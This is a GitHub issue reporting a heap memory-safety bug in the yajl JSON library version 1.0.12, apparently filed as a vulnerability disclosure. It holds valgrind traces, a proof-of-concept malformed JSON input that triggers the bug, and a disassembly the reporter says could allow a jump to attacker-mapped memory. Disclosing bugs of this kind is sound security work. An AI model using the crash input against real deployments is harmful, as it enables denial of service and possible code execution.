lloyd / yajl

A fast streaming JSON parsing library in C.
http://lloyd.github.com/yajl
ISC License
2.15k stars 435 forks source link

Double free vulnerability in 1.0.12 #205

Open zeroinside opened 6 years ago

zeroinside commented 6 years ago

==103917== Invalid read of size 4 ==103917== at 0x4E3EB32: yajl_gen_array_open (in /lib/libyajl.so.1) ==103917== by 0x401900: reformat_start_array (input.c:63) ==103917== by 0x4E3CDCE: yajl_do_parse (in /lib/libyajl.so.1) ==103917== by 0x4012C0: main (input.c:149) ==103917== Address 0x540c280 is 0 bytes after a block of size 576 alloc'd ==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1) ==103917== by 0x40118B: main (input.c:127) ==103917== ==103917== Invalid read of size 4 ==103917== at 0x4E3DF42: yajl_gen_number (in /lib/libyajl.so.1) ==103917== by 0x401A40: reformat_number (input.c:25) ==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1) ==103917== by 0x4012C0: main (input.c:149) ==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd ==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1) ==103917== by 0x40118B: main (input.c:127) ==103917== ==103917== Invalid read of size 4 ==103917== at 0x4E3DFE6: yajl_gen_number (in /lib/libyajl.so.1) ==103917== by 0x401A40: reformat_number (input.c:25) ==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1) ==103917== by 0x4012C0: main (input.c:149) ==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd ==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1) ==103917== by 0x40118B: main (input.c:127) ==103917== ==103917== Invalid write of size 4 ==103917== at 0x4E3E090: yajl_gen_number (in /lib/libyajl.so.1) ==103917== by 0x401A40: reformat_number (input.c:25) ==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1) ==103917== by 0x4012C0: main (input.c:149) ==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd ==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1) ==103917== by 0x40118B: main (input.c:127)

Here's the PoC: {"[9[":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[4[[[[[[[[[[[[[[[[[[[[[[[[H[[[[[[[[[[K[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[{[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[E[[[[[[[[[[[[[[j[[[[[[[[[[[[[][[[[[[[[[[[[[[[[[[":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[g[@[[[[[[[[[[[[[[[[[\M[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[k[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[

These one is pretty serious, if user is able to map address below the data, code can jump to it:

Dump of assembler code for function yajl_buf_free: 0x00007ffff7bd2130 <+0>: push %rbx 0x00007ffff7bd2131 <+1>: mov 0x8(%rdi),%rsi 0x00007ffff7bd2135 <+5>: mov %rdi,%rbx 0x00007ffff7bd2138 <+8>: test %rsi,%rsi 0x00007ffff7bd213b <+11>: je 0x7ffff7bd2148 <yajl_buf_free+24> 0x00007ffff7bd213d <+13>: mov 0x10(%rdi),%rax => 0x00007ffff7bd2141 <+17>: mov 0x18(%rax),%rdi 0x00007ffff7bd2145 <+21>: callq 0x10(%rax) 0x00007ffff7bd2148 <+24>: mov 0x10(%rbx),%rax 0x00007ffff7bd214c <+28>: mov %rbx,%rsi 0x00007ffff7bd214f <+31>: pop %rbx 0x00007ffff7bd2150 <+32>: mov 0x18(%rax),%rdi 0x00007ffff7bd2154 <+36>: mov 0x10(%rax),%rax 0x00007ffff7bd2158 <+40>: jmpq %rax End of assembler dump.